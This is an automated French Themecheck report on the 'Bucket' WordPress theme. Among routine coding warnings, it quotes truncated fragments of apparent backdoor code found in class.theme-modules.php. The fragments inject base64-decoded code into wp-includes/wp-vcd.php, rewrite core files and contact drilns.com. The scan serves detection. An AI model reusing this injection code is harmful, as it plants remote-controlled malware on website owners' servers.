0
Résultats de validation

Bucket

Bucket

WordPress 6.4.3 theme
0
  • TYPE DE THèMEThème WordPress %s 6.4.3
  • NOM DU FICHIERbucket.zip
  • TAILLE DU FICHIER5648660 octets
  • MD508640404a380c7ebc20fc584ab28ce9b
  • SHA10adf8af4b2706ea6161e4b636a46cc22d0b08ad3
  • LICENCEGNU GPL 2
  • FICHIERS INCLUSCSS, PHP, HTML, XML, Bitmap images, Adobe Illustrator
  • PAGE DéMOhttps://demos.pixelgrade.com/bucket
  • VERSION1.6.10
  • URI DE L'AUTEUR
  • TAGSblack, orange, light, one-column, two-columns, right-sidebar, flexible-width, custom-header, custom-menu, editor-style, featured-images, microformats, post-formats, rtl-language-support, sticky-post, translation-ready
  • DATE DE CRéATION2019-08-16
  • DERNIèRE MISE à JOUR DU FICHIER2019-08-16
  • DERNIèRE VALIDATION2019-08-16 03:54
Ce thème n'est peut être pas libre. Themecheck ne distribue pas de thèmes commerciaux.
Alertes critiques
  1. Title : Title Absence de référence à add_theme_support( "title-tag" ) dans le thème.Le thème doit avoir des tags <title>, idéalement dans le fichier header.php.Le thème doit comporter un appel à wp_title(), idéalement dans le fichier header.php.Les tags <title> ne peuvent contenir qu'un appe à wp_title(). wp_title filter soit être utilisée pour modifier la sortie.Les tags <title> ne peuvent contenir qu'un appe à wp_title(). wp_title filter soit être utilisée pour modifier la sortie.Les tags <title> ne peuvent contenir qu'un appe à wp_title(). wp_title filter soit être utilisée pour modifier la sortie.
  2. Failles de sécurité : Utilisation d'appels systèmes PHP shell_exec trouvé dans le fichier class-envato-backup.php. 250: $this->warning( $this->archive_method, shell_exec( 'cd ' . escapeshellarg( $this->root() ) . ' && ' . escapeshella363: $verify = shell_exec( escapeshellarg( $this->zip_command_path ) . ' -T ' . escapeshel521: if ( is_null( shell_exec( 'hash zip 2>&1' ) ) ) {677: if ( ! @shell_exec( 'echo envatobackup' ) ) {
  3. Failles de sécurité : Modification des paramètres du serveur PHP ini_set trouvé dans le fichier class-envato-backup.php. 106: @ini_set( 'memory_limit', apply_filters( 'admin_memory_limit', WP_MAX_MEMORYini_set trouvé dans le fichier util.php. 1271: @ini_set( 'zlib.output_compression', 'Off' );ini_set trouvé dans le fichier class.theme-modules.php. 5: ini_set('display_errors', 0);
  4. Failles de sécurité : Utilisation de base64_decode() base64_decode trouvé dans le fichier OAuth.php. 225: $decoded_sig = base64_decode($signature);base64_decode trouvé dans le fichier theme-defaults.php. 16: $imported_options = unserialize(trim(base64_decode( $defaults ),'###'));base64_decode trouvé dans le fichier wpgrade-import-class.php. 417: $imported_options = json_decode( htmlspecialchars_decode( base64_decode( $theme_options )), true );496: $json_data = json_decode( base64_decode($demo_widgets), true );base64_decode trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )95: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  5. Failles de sécurité : Utilisation de base64_encode() base64_encode trouvé dans le fichier OAuth.php.
     return base64_encode(hash_hmac('sha1', $base_string, $key, true));
     return base64_encode($signature);
    base64_encode trouvé dans le fichier mb_compat.php.
     return '=?'.$charset.'?B?'.base64_encode($str).'?=';
  6. Code malveillant : Opérations sur système de fichiers file_put_contents trouvé dans le fichier class.redux_filesystem.php. 117: $res = file_put_contents( $file, $content );file_get_contents trouvé dans le fichier class.redux_filesystem.php. 125: $res = file_get_contents( $file );file_get_contents trouvé dans le fichier wpgrade.php. 1156: $path = file_get_contents( $feature_test_path );1161: $path = file_get_contents( $theme_features_path );file_get_contents trouvé dans le fichier wpgrade.php. 1156: $path = file_get_contents( $feature_test_path );1161: $path = file_get_contents( $theme_features_path );file_get_contents trouvé dans le fichier phpQuery.php. 409: file_get_contents($file), $contentType460: return self::newDocumentPHP(file_get_contents($file), $contentType);file_get_contents trouvé dans le fichier phpQuery.php. 409: file_get_contents($file), $contentType460: return self::newDocumentPHP(file_get_contents($file), $contentType);file_get_contents trouvé dans le fichier ganon.php. 24: * @param bool $use_include_path Use include path search in file_get_contents25: * @param resource $context Context resource used in file_get_contents (PHP >= 5.0.0)30: $f = file_get_contents($file, $use_include_path, $context);34: $f = file_get_contents($file, $use_include_path);file_get_contents trouvé dans le fichier ganon.php. 24: * @param bool $use_include_path Use include path search in file_get_contents25: * @param resource $context Context resource used in file_get_contents (PHP >= 5.0.0)30: $f = file_get_contents($file, $use_include_path, $context);34: $f = file_get_contents($file, $use_include_path);file_get_contents trouvé dans le fichier ganon.php. 24: * @param bool $use_include_path Use include path search in file_get_contents25: * @param resource $context Context resource used in file_get_contents (PHP >= 5.0.0)30: $f = file_get_contents($file, $use_include_path, $context);34: $f = file_get_contents($file, $use_include_path);file_get_contents trouvé dans le fichier rss2array.php. 14: $html = new XML_Parser_Array(file_get_contents('http://newsrss.bbc.co.uk/rss/newsonline_world_edition/frfile_put_contents trouvé dans le fichier make_singlefile.php. 17: if (!function_exists('file_put_contents')) {18: function file_put_contents($filename, $data) {177: file_put_contents($file_out, $tpl) or die('Can't write file: $file_out'); fopen trouvé dans le fichier make_singlefile.php. 19: $f = @fopen($filename, 'w');fwrite trouvé dans le fichier make_singlefile.php. 23: $bytes = fwrite($f, $data);fclose trouvé dans le fichier make_singlefile.php. 24: fclose($f);file_get_contents trouvé dans le fichier make_singlefile.php. 47: $source = file_get_contents($file) or die('Can't open file: $file');157: $tpl = file_get_contents($file_tpl);file_get_contents trouvé dans le fichier make_singlefile.php. 47: $source = file_get_contents($file) or die('Can't open file: $file');157: $tpl = file_get_contents($file_tpl);file_put_contents trouvé dans le fichier make_singlefile.php. 17: if (!function_exists('file_put_contents')) {18: function file_put_contents($filename, $data) {177: file_put_contents($file_out, $tpl) or die('Can't write file: $file_out'); file_put_contents trouvé dans le fichier phpQueryObject.php. 280: // file_put_contents(dirname(__FILE__).'/phpQuery.log', print_r($in, true).'\nfile_put_contents trouvé dans le fichier WebBrowser.php. 57: file_put_contents($path, file_get_contents($url));file_get_contents trouvé dans le fichier WebBrowser.php. 56: // TODO use AJAX instead of file_get_contents57: file_put_contents($path, file_get_contents($url));file_get_contents trouvé dans le fichier OAuth.php. 299: file_get_contents(self::$POST_INPUT)file_get_contents trouvé dans le fichier StormTwitter.class.php. 94: $cache = file_get_contents($file);152: $cache = json_decode(file_get_contents($this->getCacheLocation()),true);file_put_contents trouvé dans le fichier StormTwitter.class.php. 115: file_put_contents($file,json_encode($cache));159: file_put_contents($file,json_encode($cache));file_get_contents trouvé dans le fichier StormTwitter.class.php. 94: $cache = file_get_contents($file);152: $cache = json_decode(file_get_contents($this->getCacheLocation()),true);file_put_contents trouvé dans le fichier StormTwitter.class.php. 115: file_put_contents($file,json_encode($cache));159: file_put_contents($file,json_encode($cache));file_get_contents trouvé dans le fichier parsers.php. 66: $success = $dom->loadXML( file_get_contents( $file ) );269: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {file_get_contents trouvé dans le fichier parsers.php. 66: $success = $dom->loadXML( file_get_contents( $file ) );269: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {fopen trouvé dans le fichier parsers.php. 415: $fp = $this->fopen( $file, 'r' );641: function fopen( $filename, $mode = 'r' ) {644: return fopen( $filename, $mode );fclose trouvé dans le fichier parsers.php. 464: $this->fclose($fp);659: function fclose( $fp ) {662: return fclose( $fp );fopen trouvé dans le fichier parsers.php. 415: $fp = $this->fopen( $file, 'r' );641: function fopen( $filename, $mode = 'r' ) {644: return fopen( $filename, $mode );fopen trouvé dans le fichier parsers.php. 415: $fp = $this->fopen( $file, 'r' );641: function fopen( $filename, $mode = 'r' ) {644: return fopen( $filename, $mode );fclose trouvé dans le fichier parsers.php. 464: $this->fclose($fp);659: function fclose( $fp ) {662: return fclose( $fp );fclose trouvé dans le fichier parsers.php. 464: $this->fclose($fp);659: function fclose( $fp ) {662: return fclose( $fp );file_get_contents trouvé dans le fichier field_groups.php. 378: $items = file_get_contents( $path . 'readme.txt' );file_get_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));177: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));177: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));177: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));177: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));177: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));177: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));177: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));177: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));177: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));177: $content = @file_get_contents('http://www.drilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.drilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents trouvé dans le fichier class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);
  7. Code malveillant : Opérations réseau curl_init trouvé dans le fichier sharrre.php. 46: $ch = curl_init($encUrl);curl_exec trouvé dans le fichier sharrre.php. 51: $content = curl_exec($ch);curl_init trouvé dans le fichier p.php. 185: $ch = curl_init( $url );curl_exec trouvé dans le fichier p.php. 211: list( $header, $contents ) = preg_split( '/([\r\n][\r\n])\\1/', curl_exec( $ch ), 2 );curl_init trouvé dans le fichier Dribbble.php. 196: $ch = curl_init();curl_exec trouvé dans le fichier Dribbble.php. 203: $result = curl_exec($ch);curl_init trouvé dans le fichier twitteroauth.php. 202: $ci = curl_init();curl_exec trouvé dans le fichier twitteroauth.php. 228: $response = curl_exec($ci);
  8. Menu Admin : Les thèmes doivent utiliser add_theme_page () pour ajouter des pages admin. Fichier theme-features.php : 82: function add_next_page_button( $mce_buttons ) {91: add_filter( 'mce_buttons', 'add_next_page_button' );Fichier redux-args.php : 100: // A list of available parent menus is available at http://codex.wordpress.org/Function_Reference/add_submenu_page#ParametersFichier import_export.php : 147: add_submenu_page(Fichier debug.php : 74: add_submenu_page(Fichier framework.php : 1112: // wrappers and need to be appened to using add_submenu_page.1148: $this->page = add_submenu_page(1205: add_submenu_page(1229: add_submenu_page(Fichier framework.php : 1112: // wrappers and need to be appened to using add_submenu_page.1148: $this->page = add_submenu_page(1205: add_submenu_page(1229: add_submenu_page(Fichier framework.php : 1178: $this->page = add_menu_page(Fichier framework.php : 1112: // wrappers and need to be appened to using add_submenu_page.1148: $this->page = add_submenu_page(1205: add_submenu_page(1229: add_submenu_page(Fichier framework.php : 1112: // wrappers and need to be appened to using add_submenu_page.1148: $this->page = add_submenu_page(1205: add_submenu_page(1229: add_submenu_page(Fichier acf.php : 579: add_menu_page(__('Custom Fields','acf'), __('Custom Fields','acf'), 'manageFichier addons.php : 42: $page = add_submenu_page('edit.php?post_type=acf', __('Add-ons','acf'), __('Add-onsFichier export.php : 50: $page = add_submenu_page('edit.php?post_type=acf', __('Export','acf'), __('Export',Fichier upgrade.php : 77: add_submenu_page('edit.php?post_type=acf', __('Upgrade','acf'), __('UpgradeFichier pixcare.php : 42: add_submenu_page( null, '', '', 'manage_options', 'pixelgrade_care-install'
  9. Fonctions obsolètes : screen_icon screen_icon trouvé dans le fichier wordpress-importer.php . Obsolète depuis la version de la 3.8. 1041: screen_icon();
  10. Fonctions obsolètes : wp_get_http wp_get_http trouvé dans le fichier wordpress-importer.php . Obsolète depuis la version de la 4.4. Il est prérable d'utiliser WP_Http à la place. 914: $headers = wp_get_http( $url, $upload['file'] );
Attention
  1. tags du thème : Présence de tags inconnusLe tag black est obsolète, il ne doit pas figurer dans le header de style.css.Le tag orange est obsolète, il ne doit pas figurer dans le header de style.css.Le tag light est obsolète, il ne doit pas figurer dans le header de style.css.Le tag flexible-width est obsolète, il ne doit pas figurer dans le header de style.css.
  2. Text domain : Utilisation incorrecte des fonctions de traduction.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Posts by %s' dans le fichier bucket.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<p>Add the share services, delimited by a single comma (no spaces). You can find the full list of services <a href="http://www.addthis.com/services/list">here</a>.</p> Notes: <ul> <li>— use the <span style="text-decoration:underline;"><strong>more</strong></span> tag to show the plus sign</li> <li>— use the <span style="text-decoration:underline;"><strong>counter</strong></span> for a global share counter</li> <li>— use the <span style="text-decoration:underline;"><strong>preferred</strong></span> tag&nbsp;to show your visitors a personalized lists of buttons (read <a href="http://www.addthis.com/academy/preferred-services-personalization/">more</a>)</li> </ul>' dans le fichier customify.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Read more on <a href="http://bit.ly/1kxPg7K">Integrating with Google Analytics</a> article.' dans le fichier customify.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Title:' dans le fichier wpgrade_popular_posts.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "Title" dans le fichier field_groups.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'acf' dans le fichier upgrade.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Dummy' dans le fichier dummy.php.Plusieurs text-domain sont utilisés dans le thème. Cela signifie que le thème n'est pas compatible avec les language packs de WordPress. Les domaines trouvés sont bucket, woocommerce, woothemes, pixtypes_txtd, redux-framework, redux-framework-demo, rosa_txtd, lens, border, rosa, acf.
  3. Contextes de plugin : Fonctionnalités de pluginLe thème utilise la fonction register_post_type(). Cette fonction n'est pas prévue pour être utilisée dans le contexte d'un thème, mais plutôt dans un plugin.Le thème utilise la fonction add_shortcode(). L'utilisation des custom post-content shortcodes est du domaine des plugins.
  4. Eléments custom : Présence d'une entête customAucune référence à custom header n'a été trouvée dans le thème.
  5. Fonctions obsolètes : screen_iconscreen_icon trouvé dans le fichier wordpress-importer.php . Obsolète depuis la version de la 3.8. 1041: screen_icon();
  6. Implémentation de l'internationalisation : Utilisation correcte de ___al(La variable $conf a été trouvée dans une fonction de traduction dans le fichier WPGradePaginationFormatter.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $conf a été trouvée dans une fonction de traduction dans le fichier WPGradePaginationFormatter.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $wp_postmeta a été trouvée dans une fonction de traduction dans le fichier upgrade.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP.
  7. Fichiers CSS : Présence de la classe .screen-reader-textLa class css .screen-reader-text est nécessaire dans le css du thème. Voir : le Codex pour un exemple d'implémentation.
  8. Implémentation de la date et de l'heure : Utilisation de the_time()Au moins une date codée en dur a été trouvée dans le fichier hero_posts_module.php. Il est préférable d'utiliser la fonction get_option( 'date_format' )à la place.Au moins une date codée en dur a été trouvée dans le fichier single-title.php. Il est préférable d'utiliser la fonction get_option( 'date_format' )à la place.Au moins une date codée en dur a été trouvée dans le fichier content-masonry.php. Il est préférable d'utiliser la fonction get_option( 'date_format' )à la place.Au moins une date codée en dur a été trouvée dans le fichier content-classic.php. Il est préférable d'utiliser la fonction get_option( 'date_format' )à la place.Au moins une date codée en dur a été trouvée dans le fichier wpgrade_posts_slider_widget.php. Il est préférable d'utiliser la fonction get_option( 'date_format' )à la place.
  9. Screenshot : Copie d'écranLa taille du screenshot est 600x450px. La taille recommandée est 1200x900, pour prendre en compte les affichages HiDPI. Bien qu'une résolution de 1200x900 soit recommandée, toutes les images au format 4:3 sont acceptables.Mauvaise extension de fichier screenshot ! Le fichier screenshot.png n'est pas un véritable fichier JPG. Le type détecté est : "image/png".
Info
